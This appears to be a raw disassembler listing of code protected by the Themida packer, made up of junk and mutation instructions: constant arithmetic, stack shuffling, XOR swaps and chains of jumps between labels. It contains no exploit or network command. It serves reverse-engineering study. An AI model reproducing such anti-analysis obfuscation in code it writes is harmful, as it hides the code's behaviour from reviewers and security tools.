loc_564AD7:				; CODE XREF: Themida_:0055319Bj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55D268
; ---------------------------------------------------------------------------


loc_564AE1:				; CODE XREF: Themida_:005532B5j
		add	eax, edx
		jmp	loc_5511F8
; ---------------------------------------------------------------------------


loc_564AE8:				; CODE XREF: Themida_:00550E72j
		push	esi
		mov	esi, 53884633h
		neg	esi
		dec	esi
		sub	esi, 39F32053h
		neg	esi
		jmp	loc_550AC5
; ---------------------------------------------------------------------------


loc_564AFE:				; CODE XREF: Themida_:00563B2Aj
		mov	edx, 0B724345h
		jmp	loc_557931
; ---------------------------------------------------------------------------


loc_564B08:				; CODE XREF: Themida_:005564E3j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7D9321D4h
		sub	edi, 183E4001h
		shr	edi, 7
		sub	edi, 44D30A2Ah
		jmp	loc_550585
; ---------------------------------------------------------------------------


loc_564B3A:				; CODE XREF: Themida_:00564C1Dj
		xchg	edx, [esp]
		pop	esp
		xor	ebx, 13935647h
		push	0
		jmp	loc_55CC0D
; ---------------------------------------------------------------------------


loc_564B4E:				; CODE XREF: Themida_:0055EC96j
		add	edx, 6A69432Bh
		push	ebx
		mov	ebx, 782A7896h
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552ED2
; ---------------------------------------------------------------------------


loc_564B67:				; CODE XREF: Themida_:005537A3j
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	7B05h
		mov	[esp], eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_564B81:				; CODE XREF: Themida_:00565374j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_551298
; ---------------------------------------------------------------------------


loc_564B8A:				; CODE XREF: Themida_:005652F7j
		add	ebx, 18862C4Ah
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	4995h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 0F70789Ch
		jmp	loc_550CD9
; ---------------------------------------------------------------------------


loc_564BAD:				; CODE XREF: Themida_:005513C1j
		mov	ax, 481Ah
		sub	[esp+4], ax
		pop	ax
		mov	di, [esp]
		push	72EAh
		jmp	loc_5567C1
; ---------------------------------------------------------------------------


loc_564BC6:				; CODE XREF: Themida_:00554F70j
		add	ebx, edi
		jmp	loc_55133E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55E022
; ---------------------------------------------------------------------------


loc_564BD6:				; CODE XREF: Themida_:00552868j
		inc	eax
		xor	eax, 55FC76C8h
		jmp	loc_55263B
; ---------------------------------------------------------------------------


loc_564BE1:				; CODE XREF: Themida_:005638CFj
		sub	ebx, 5F040BEFh
		jmp	loc_565BD2
; ---------------------------------------------------------------------------


loc_564BEC:				; CODE XREF: Themida_:0055FB0Aj
		pop	ecx
		add	edx, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5510E4
; ---------------------------------------------------------------------------


loc_564C01:				; CODE XREF: Themida_:0055BC76j
		sub	esp, 4
		jmp	loc_552078
; ---------------------------------------------------------------------------


loc_564C09:				; CODE XREF: Themida_:005583BDj
		add	esi, 10263D62h
		jmp	loc_55DCEE
; ---------------------------------------------------------------------------


loc_564C14:				; CODE XREF: Themida_:00558AF5j
		add	edx, 4
		add	edx, 4
		jmp	loc_564B3A
; ---------------------------------------------------------------------------


loc_564C22:				; CODE XREF: Themida_:0055AF1Fj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_550640
; ---------------------------------------------------------------------------


loc_564C2D:				; CODE XREF: Themida_:0055E82Cj
		mov	bl, 8Ah
		shl	bl, 3
		shr	bl, 6
		neg	bl
		inc	bl
		sub	bl, 70h
		xor	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	dh, ch
		mov	ecx, [esp]
		jmp	loc_55A86E
; ---------------------------------------------------------------------------


loc_564C4E:				; CODE XREF: Themida_:0055A3BEj
		xchg	edi, [esp]
		pop	esp
		and	al, cl
		mov	cx, [esp]
		push	27B8h
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_55DFE8
; ---------------------------------------------------------------------------


loc_564C6D:				; CODE XREF: Themida_:00553118j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 252E62F1h
		and	edi, 1778090Bh
		shr	edi, 2
		inc	edi
		xor	edi, 14A0005h
		jmp	loc_55E1C8
; ---------------------------------------------------------------------------


loc_564C8F:				; CODE XREF: Themida_:00558730j
		add	esp, 4
		jmp	loc_55A13B
; ---------------------------------------------------------------------------


loc_564C9A:				; CODE XREF: Themida_:005601A6j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	2EE4h
		mov	[esp], edi
		jmp	loc_558493
; ---------------------------------------------------------------------------


loc_564CBC:				; CODE XREF: Themida_:0055C0F5j
		mov	ebx, 4BE94D7Dh
		or	ebx, 73871B25h
		jmp	loc_56497E
; ---------------------------------------------------------------------------


loc_564CCC:				; CODE XREF: Themida_:00558716j
		add	esp, 4
		xor	ecx, edx
		jmp	loc_56414F
; ---------------------------------------------------------------------------


loc_564CD6:				; CODE XREF: Themida_:0055812Cj
		shr	dl, 4
		shr	dl, 6
		add	dl, 0ABh
		xor	dl, 43h
		mov	al, dl
		pop	edx
		not	al
		not	al
		sub	al, 26h
		jmp	loc_5545DE
; ---------------------------------------------------------------------------


loc_564CF0:				; CODE XREF: Themida_:0055B790j
		mov	[eax], ebp
		jmp	loc_5554F4
; ---------------------------------------------------------------------------


loc_564CF7:				; CODE XREF: Themida_:0055C3F7j
		pop	ebp
		not	edi
		dec	edi
		xor	edi, 8A56E165h
		add	ebp, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55EEED
; ---------------------------------------------------------------------------


loc_564D20:				; CODE XREF: Themida_:00558AAAj
		push	4A7C301Dh
		pop	eax
		xor	eax, 19FB47E0h
		mov	edx, eax
		pop	eax
		sub	edx, 19E05EF3h
		sub	ecx, 5C01534Fh
		add	ecx, 558F0CB6h
		add	ecx, edx
		push	edx
		push	ebx
		jmp	loc_560535
; ---------------------------------------------------------------------------


loc_564D49:				; CODE XREF: Themida_:0055C4E0j
		push	edi
		push	eax
		mov	eax, 5F153DA5h
		sub	eax, 1C72E4B1h
		jmp	loc_559E8D
; ---------------------------------------------------------------------------


loc_564D5A:				; CODE XREF: Themida_:00553715j
		sub	esp, 4
		jmp	loc_5593B5
; ---------------------------------------------------------------------------


loc_564D62:				; CODE XREF: Themida_:0055F6A0j
		xchg	eax, [esp]
		pop	esi
		xor	esi, 9319A016h
		add	ecx, esi
		push	dword ptr [esp]
		jmp	loc_560750
; ---------------------------------------------------------------------------


loc_564D76:				; CODE XREF: Themida_:0055D79Dj
		mov	ecx, 32B25123h
		jmp	loc_5555E2
; ---------------------------------------------------------------------------


loc_564D80:				; CODE XREF: Themida_:005542EEj
		sub	edx, esi
		pop	esi
		jmp	loc_557849
; ---------------------------------------------------------------------------


loc_564D88:				; CODE XREF: Themida_:00551205j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_556C45
; ---------------------------------------------------------------------------


loc_564D9A:				; CODE XREF: Themida_:00561596j
		add	ecx, 1E405A77h
		sub	ecx, 19317CD4h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_550529
; ---------------------------------------------------------------------------


loc_564DBC:				; CODE XREF: Themida_:00564556j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5625B9
; ---------------------------------------------------------------------------


loc_564DD9:				; CODE XREF: Themida_:00562BAEj
		add	ebp, 30CA6095h
		sub	ebp, 0C0387249h
		add	edi, ebp
		pop	ebp
		xor	edi, 56395D7Ch
		jmp	loc_560465
; ---------------------------------------------------------------------------


loc_564DF3:				; CODE XREF: Themida_:005517CCj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55FED4
; ---------------------------------------------------------------------------


loc_564DFF:				; CODE XREF: Themida_:00561DF4j
		mov	ebp, 533145DEh
		push	20B5h
		mov	[esp], ecx
		jmp	loc_55E52C
; ---------------------------------------------------------------------------


loc_564E11:				; CODE XREF: Themida_:00554598j
		push	edx
		mov	dh, 0C7h
		dec	dh
		jmp	loc_552BFE
; ---------------------------------------------------------------------------


loc_564E1B:				; CODE XREF: Themida_:00563DE5j
		xor	edi, [esp]
		jmp	loc_558617
; ---------------------------------------------------------------------------


loc_564E23:				; CODE XREF: Themida_:0055ADE4j
		not	eax
		or	eax, 38E45B8Bh
		jmp	loc_558C45
; ---------------------------------------------------------------------------


loc_564E2F:				; CODE XREF: Themida_:00558BAEj
		mov	edi, 10E85B0Ah
		mov	ebp, 10E85B0Eh
		xor	ebp, edi
		jmp	loc_55B29C
; ---------------------------------------------------------------------------


loc_564E40:				; CODE XREF: Themida_:0055054Ej
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 770A0206h
		and	esi, 4077272h
		neg	esi
		add	esi, 4020206h
		add	edx, esi
		jmp	loc_554098
; ---------------------------------------------------------------------------


loc_564E66:				; CODE XREF: Themida_:0055FAF6j
		sub	ebp, 3F6F1570h
		add	ebp, 0A0175ECAh
		add	eax, ebp
		pop	ebp
		add	eax, 58769CCh
		jmp	loc_557C54
; ---------------------------------------------------------------------------


loc_564E7F:				; CODE XREF: Themida_:00557A9Dj
		pop	esp
		mov	[esp], esi
		push	7011h
		mov	[esp], ebp
		jmp	loc_55EAA6
; ---------------------------------------------------------------------------


loc_564E90:				; CODE XREF: Themida_:005622A0j
		push	dword ptr [esp]
		jmp	loc_5556A5
; ---------------------------------------------------------------------------


loc_564E98:				; CODE XREF: Themida_:005527BEj
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_56421A
; ---------------------------------------------------------------------------


loc_564EA5:				; CODE XREF: Themida_:00561EF9j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55DEC1
; ---------------------------------------------------------------------------


loc_564EB3:				; CODE XREF: Themida_:00555B15j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_557415
; ---------------------------------------------------------------------------


loc_564EC7:				; CODE XREF: Themida_:00561240j
		mov	al, 18h
		add	bl, 17h
		add	bl, al
		push	ecx
		mov	cl, 3Ch
		shr	cl, 8
		xor	cl, 17h
		sub	bl, cl
		pop	ecx
		mov	ax, [esp]
		jmp	loc_557FF8
; ---------------------------------------------------------------------------


loc_564EE3:				; CODE XREF: Themida_:005536C2j
		mov	edi, 2
		sub	ebp, 68734AC3h
		add	ebp, 653B6BF1h
		jmp	loc_553F53
; ---------------------------------------------------------------------------


loc_564EF9:				; CODE XREF: Themida_:0055E1CBj
		add	eax, 4
		jmp	loc_562A4B
; ---------------------------------------------------------------------------


loc_564F03:				; CODE XREF: Themida_:005521F2j
		neg	edi
		add	edi, 2FF8E6CDh
		xor	ebx, edi
		jmp	loc_564F62
; ---------------------------------------------------------------------------


loc_564F12:				; CODE XREF: Themida_:0055D521j
		mov	esp, [esp]
		mov	[edx], cl
		pop	ecx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_564F1D:				; CODE XREF: Themida_:0055653Bj
		push	2C62h
		mov	[esp], eax
		push	esp
		jmp	loc_563ACC
; ---------------------------------------------------------------------------


loc_564F2B:				; CODE XREF: Themida_:005585A6j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	esi, [esp]
		jmp	loc_556C4C
; ---------------------------------------------------------------------------


loc_564F43:				; CODE XREF: Themida_:005578C8j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	9Bh
		jmp	loc_557AD4
; ---------------------------------------------------------------------------


loc_564F62:				; CODE XREF: Themida_:00564F0Dj
		pop	edi
		mov	edi, ebx
		pop	ebx
		add	esi, 782032C6h
		add	esi, edi
		jmp	loc_556599
; ---------------------------------------------------------------------------


loc_564F73:				; CODE XREF: Themida_:0055E26Fj
		pop	esi
		jmp	loc_5512B8
; ---------------------------------------------------------------------------


loc_564F79:				; CODE XREF: Themida_:00558FFBj
		xchg	ecx, ebp
		and	ebp, 749230DBh
		add	ebp, 0BFFFEFF9h
		add	ebx, ebp
		pop	ebp
		jmp	loc_559734
; ---------------------------------------------------------------------------


loc_564F8F:				; CODE XREF: Themida_:0055D27Aj
		mov	esi, 6FF42091h
		xor	esi, 1DD50B24h
		xor	esi, 6D312E19h
		neg	esi
		jmp	loc_5555BB
; ---------------------------------------------------------------------------


loc_564FA7:				; CODE XREF: Themida_:0055A0D2j
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_552237
; ---------------------------------------------------------------------------


loc_564FB5:				; CODE XREF: Themida_:0055A76Bj
		sub	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_552CFB
; ---------------------------------------------------------------------------


loc_564FC2:				; CODE XREF: Themida_:00561D5Cj
		xchg	ebp, [esp]
		pop	esp
		push	1502h
		mov	[esp], ecx
		jmp	loc_552BF4
; ---------------------------------------------------------------------------


loc_564FD3:				; CODE XREF: Themida_:0055D1DDj
		inc	ecx
		add	ecx, 0FEED922Ah
		sub	ebp, 58D108A8h
		add	ebp, 4F0C5A08h
		add	ebp, ecx
		sub	ebp, 4F0C5A08h
		add	ebp, 58D108A8h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_555698
; ---------------------------------------------------------------------------


loc_565002:				; CODE XREF: Themida_:0055E644j
		neg	ebp
		shl	ebp, 5
		push	edi
		jmp	loc_557C8B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5D16h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55E7C5
; ---------------------------------------------------------------------------


loc_565032:				; CODE XREF: Themida_:0055DA56j
		push	esi
		mov	esi, 0FBF1CA6h
		jmp	loc_55D439
; ---------------------------------------------------------------------------


loc_56503D:				; CODE XREF: Themida_:0055B5D3j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5579C3
; ---------------------------------------------------------------------------


loc_565069:				; CODE XREF: Themida_:005537FEj
		push	eax
		push	edx
		jmp	loc_5571E1
; ---------------------------------------------------------------------------


loc_565070:				; CODE XREF: Themida_:005590EAj
		sub	dh, bl
		pop	bx
		mov	bl, dh
		pop	edx
		xor	ch, bl
		mov	ebx, [esp]
		jmp	loc_55B3B4
; ---------------------------------------------------------------------------


loc_565081:				; CODE XREF: Themida_:005512BCj
		pop	eax
		pop	ebp
		add	eax, 6CD319C6h
		add	eax, 78F94D5Fh
		jmp	loc_55A807
; ---------------------------------------------------------------------------


loc_565092:				; CODE XREF: Themida_:00563B55j
		pop	eax
		add	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55E14A
; ---------------------------------------------------------------------------


loc_5650AF:				; CODE XREF: Themida_:0055234Aj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56164C
; ---------------------------------------------------------------------------


loc_5650E7:				; CODE XREF: Themida_:005573EEj
		add	bl, 19h
		sub	bl, dl
		push	edx
		mov	dh, 36h
		dec	dh
		or	dh, 32h
		jmp	loc_550927
; ---------------------------------------------------------------------------


loc_5650F9:				; CODE XREF: Themida_:00551314j
		push	small 2C54h
		mov	[esp], bx
		jmp	loc_561C3F
; ---------------------------------------------------------------------------


loc_565106:				; CODE XREF: Themida_:00556368j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_553632
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: Themida_:00556FF4j
		pop	esp
		jmp	loc_556AB6
; ---------------------------------------------------------------------------


loc_56511C:				; CODE XREF: Themida_:00556A5Bj
		push	dword ptr [esp]
		jmp	loc_55C661
; ---------------------------------------------------------------------------


loc_565124:				; CODE XREF: Themida_:00552476j
		sub	bl, dl
		pop	edx
		jmp	loc_550FDF
; ---------------------------------------------------------------------------


loc_56512C:				; CODE XREF: Themida_:0055117Ej
		mov	ecx, 0F9F2575h
		xor	ecx, 330F190Dh
		not	ecx
		add	ecx, 6CAD62DBh
		jmp	loc_560302
; ---------------------------------------------------------------------------


loc_565144:				; CODE XREF: Themida_:00563391j
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5599B5
; ---------------------------------------------------------------------------


loc_565168:				; CODE XREF: Themida_:00556E6Ej
		mov	ebx, esp
		jmp	loc_557DBC
; ---------------------------------------------------------------------------


loc_56516F:				; CODE XREF: Themida_:0055B705j
		mov	ebx, 4D2959B0h
		shl	ebx, 6
		push	ecx
		jmp	loc_55A65F
; ---------------------------------------------------------------------------


loc_56517D:				; CODE XREF: Themida_:0055C653j
		sub	al, bl
		sub	al, 0E4h
		sub	esp, 2
		mov	[esp], bx
		push	dx
		mov	dl, 0C8h
		mov	bl, dl
		mov	dx, [esp]
		push	esi
		push	esp
		jmp	loc_5607D7
; ---------------------------------------------------------------------------


loc_565199:				; CODE XREF: Themida_:005630BEj
		mov	esi, eax
		jmp	loc_55D45A
; ---------------------------------------------------------------------------


loc_5651A0:				; CODE XREF: Themida_:00556B35j
		mov	dl, 2
		xor	ch, dl
		pop	dx
		sub	bl, 34h
		add	bl, ch
		add	bl, 34h
		pop	ecx
		push	ecx
		mov	cl, 9Bh
		shl	cl, 3
		and	cl, 80h
		shr	cl, 6
		dec	cl
		inc	cl
		sub	cl, 0D7h
		sub	bl, 0EDh
		add	bl, cl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55451E
; ---------------------------------------------------------------------------


loc_5651D5:				; CODE XREF: Themida_:0055FC90j
		mov	edx, [esp]
		add	esp, 4
		pop	ecx


loc_5651DF:				; CODE XREF: Themida_:00558C2Ej
		push	1A22h
		mov	[esp], ebp
		jmp	loc_5581EA
; ---------------------------------------------------------------------------


loc_5651EC:				; CODE XREF: Themida_:0055450Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		jmp	loc_552A89
; ---------------------------------------------------------------------------


loc_565204:				; CODE XREF: Themida_:0055387Aj
		mov	edi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55E965
; ---------------------------------------------------------------------------


loc_565217:				; CODE XREF: Themida_:00551E37j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56521C:				; CODE XREF: Themida_:00554CDBj
		add	esp, 4
		sub	esi, 61BB6BD9h
		neg	esi
		jmp	loc_560AFF
; ---------------------------------------------------------------------------


loc_56522F:				; CODE XREF: Themida_:0055E125j
		push	esi
		jmp	loc_554E91
; ---------------------------------------------------------------------------


loc_565235:				; CODE XREF: Themida_:005580B6j
		sub	al, 8Bh
		jmp	loc_565566
; ---------------------------------------------------------------------------


loc_56523C:				; CODE XREF: Themida_:00552BA3j
		pop	ecx
		pop	edi
		add	esi, ebp
		jmp	loc_56293D
; ---------------------------------------------------------------------------


loc_565245:				; CODE XREF: Themida_:0056375Aj
		add	ecx, 1
		dec	ecx
		jmp	loc_555609
; ---------------------------------------------------------------------------


loc_565251:				; CODE XREF: Themida_:00557625j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 71A77992h
		add	edx, 15BC0BB9h
		jmp	loc_5594E1
; ---------------------------------------------------------------------------


loc_56526B:				; CODE XREF: Themida_:0055CFDCj
		pop	ebx
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558D1D
; ---------------------------------------------------------------------------


loc_565279:				; CODE XREF: Themida_:00557D12j
		add	esp, 4
		push	1C96h
		mov	[esp], edx
		mov	edx, 4
		push	edx
		push	ecx
		mov	ecx, 22844747h
		shr	ecx, 8
		not	ecx
		sub	ecx, 0B3856710h
		mov	edx, ecx
		jmp	loc_5591C6
; ---------------------------------------------------------------------------


loc_5652A5:				; CODE XREF: Themida_:005546EFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	4654h
		mov	[esp], ecx
		push	ebp
		push	16354023h
		pop	ebp
		xor	ebp, 16354021h
		jmp	loc_55F6C5
; ---------------------------------------------------------------------------


loc_5652C9:				; CODE XREF: Themida_:005636CFj
		mov	[esp], eax
		mov	eax, 451317D4h
		sub	eax, 3FEB556Dh
		not	eax
		shr	eax, 3
		sub	eax, 0FCA3C14Ah
		dec	eax
		shr	eax, 4
		jmp	loc_5558A3
; ---------------------------------------------------------------------------


loc_5652E9:				; CODE XREF: Themida_:00557992j
		push	eax
		mov	eax, 4
		sub	ebx, 18862C4Ah
		add	ebx, eax
		jmp	loc_564B8A
; ---------------------------------------------------------------------------


loc_5652FC:				; CODE XREF: Themida_:0055B24Ej
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55D0ED
; ---------------------------------------------------------------------------


loc_565319:				; CODE XREF: Themida_:005548C8j
		mov	ecx, 778C7822h
		jmp	loc_55E849
; ---------------------------------------------------------------------------


loc_565323:				; CODE XREF: Themida_:00556586j
		and	edx, 1DBF5DEAh
		jmp	loc_563231
; ---------------------------------------------------------------------------


loc_56532E:				; CODE XREF: Themida_:00550F32j
		push	ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_560509
; ---------------------------------------------------------------------------


loc_56533E:				; CODE XREF: Themida_:0055E7A8j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_565343:				; CODE XREF: Themida_:005551C1j
		sub	ebx, 5E863B2h
		jmp	loc_55A66B
; ---------------------------------------------------------------------------


loc_56534E:				; CODE XREF: Themida_:0055048Ej
		mov	dl, bl
		jmp	loc_5656F7
; ---------------------------------------------------------------------------


loc_565355:				; CODE XREF: Themida_:005576D7j
		not	esi
		xor	esi, 48CE1A72h
		jmp	loc_551D69
; ---------------------------------------------------------------------------


loc_565362:				; CODE XREF: Themida_:00555327j
		push	edi
		mov	edi, 50617495h
		shr	edi, 8
		inc	edi
		sub	edi, 0B31BFBDCh
		add	ebx, edi
		jmp	loc_564B81
; ---------------------------------------------------------------------------


loc_565379:				; CODE XREF: Themida_:00556993j
		xor	ebx, edx
		pop	edx
		xor	ebx, 9FEE868Ch
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 0D064AB9h
		mov	esi, 0D064ABDh
		sub	esi, eax
		pop	eax
		jmp	loc_55A42D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5653B6:				; CODE XREF: Themida_:005561E8j
		xor	ebp, 5DBB6CBBh
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_5553C0
; ---------------------------------------------------------------------------


loc_5653CB:				; CODE XREF: Themida_:00561C03j
		push	5E6Eh
		mov	[esp], edi
		mov	edi, 0FB373EBh
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		and	edi, 0B7324F5h
		push	edx
		push	esi
		push	ebx
		mov	ebx, 369F291Ch
		mov	esi, 0ACD8574Dh
		jmp	loc_562F08
; ---------------------------------------------------------------------------


loc_5653F6:				; CODE XREF: Themida_:005508E3j
		add	eax, edx
		jmp	loc_561356
; ---------------------------------------------------------------------------


loc_5653FD:				; CODE XREF: Themida_:005555B6j
		push	ebx
		mov	bh, 0AEh
		push	ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		jmp	loc_55441F
; ---------------------------------------------------------------------------


loc_56540C:				; CODE XREF: Themida_:005636A9j
		pop	esp
		jmp	loc_563943
; ---------------------------------------------------------------------------


loc_565412:				; CODE XREF: Themida_:0055A197j
		pop	ecx
		add	eax, ebp
		pop	ebp
		jmp	loc_552D9E
; ---------------------------------------------------------------------------


loc_56541B:				; CODE XREF: Themida_:00561D9Aj
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 4C930D8Dh
		mov	ebp, 0CE5C0D43h
		add	ebp, edx
		pop	edx
		add	eax, 5A0707DBh
		jmp	loc_55A318
; ---------------------------------------------------------------------------


loc_565437:				; CODE XREF: Themida_:00554CA6j
		or	dl, bl
		pop	bx
		and	dl, 0A2h
		push	small 7C30h
		mov	[esp], cx
		mov	ch, 6Ah
		add	dl, ch
		mov	cx, [esp]
		add	esp, 2
		add	al, dl
		pop	edx
		push	ecx
		jmp	loc_555FBD
; ---------------------------------------------------------------------------


loc_56545D:				; CODE XREF: Themida_:00550FE2j
		push	ecx
		mov	cl, 0CEh
		shr	cl, 8
		push	ax
		mov	al, 8
		inc	al
		inc	al
		jmp	loc_5517E9
; ---------------------------------------------------------------------------


loc_565470:				; CODE XREF: Themida_:0055D4A6j
		pop	eax
		jmp	loc_563EEF
; ---------------------------------------------------------------------------


loc_565476:				; CODE XREF: Themida_:00556066j
		mov	eax, 37D73E1Dh
		mov	ebx, 674587F4h
		sub	ebx, eax
		pop	eax
		not	ebx
		or	ebx, 0FE820ADh
		not	ebx
		inc	ebx
		sub	ebx, 1
		shl	ebx, 8
		push	5BDBh
		jmp	loc_564461
; ---------------------------------------------------------------------------


loc_5654A1:				; CODE XREF: Themida_:00554B39j
		mov	ecx, 4
		jmp	loc_556F84
; ---------------------------------------------------------------------------


loc_5654AB:				; CODE XREF: Themida_:00563FBCj
		add	ecx, esi
		jmp	loc_55DC8C
; ---------------------------------------------------------------------------


loc_5654B2:				; CODE XREF: Themida_:00560304j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, 3F4140E0h
		sub	edi, eax
		pop	eax
		sub	edi, 0CAA9502h
		jmp	loc_5520F4
; ---------------------------------------------------------------------------


loc_5654D4:				; CODE XREF: Themida_:0055C20Ej
		and	ebx, edx
		pop	edx
		add	ebx, 0D0AF2050h
		mov	edi, ebx
		pop	ebx
		xor	eax, edi
		pop	edi
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_564433
; ---------------------------------------------------------------------------


loc_565510:				; CODE XREF: Themida_:0055DD9Aj
		push	dword ptr [esp]
		jmp	loc_55848D
; ---------------------------------------------------------------------------


loc_565518:				; CODE XREF: Themida_:00563E49j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_558663
; ---------------------------------------------------------------------------


loc_565521:				; CODE XREF: Themida_:0055E09Cj
		or	dh, cl
		pop	ecx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		jmp	loc_5649C5
; ---------------------------------------------------------------------------


loc_565535:				; CODE XREF: Themida_:00551162j
		add	ch, 15h
		xor	bh, ch
		jmp	loc_5534BC
; ---------------------------------------------------------------------------


loc_56553F:				; CODE XREF: Themida_:00565AD0j
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, 23635436h
		add	ecx, ebx
		sub	ecx, 23635436h
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D9A2
; ---------------------------------------------------------------------------


loc_565566:				; CODE XREF: Themida_:00565237j
		add	al, ch
		add	al, 8Bh
		jmp	loc_558867
; ---------------------------------------------------------------------------


loc_56556F:				; CODE XREF: Themida_:00557F20j
		sub	eax, 4C247E1h
		jmp	loc_56200A
; ---------------------------------------------------------------------------


loc_565579:				; CODE XREF: Themida_:0055486Fj
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_550884
; ---------------------------------------------------------------------------


loc_565586:				; CODE XREF: Themida_:00563692j
		not	edx
		shr	edx, 5
		sub	edx, 0FDDB31F6h
		add	ebp, edx
		jmp	loc_562EBA
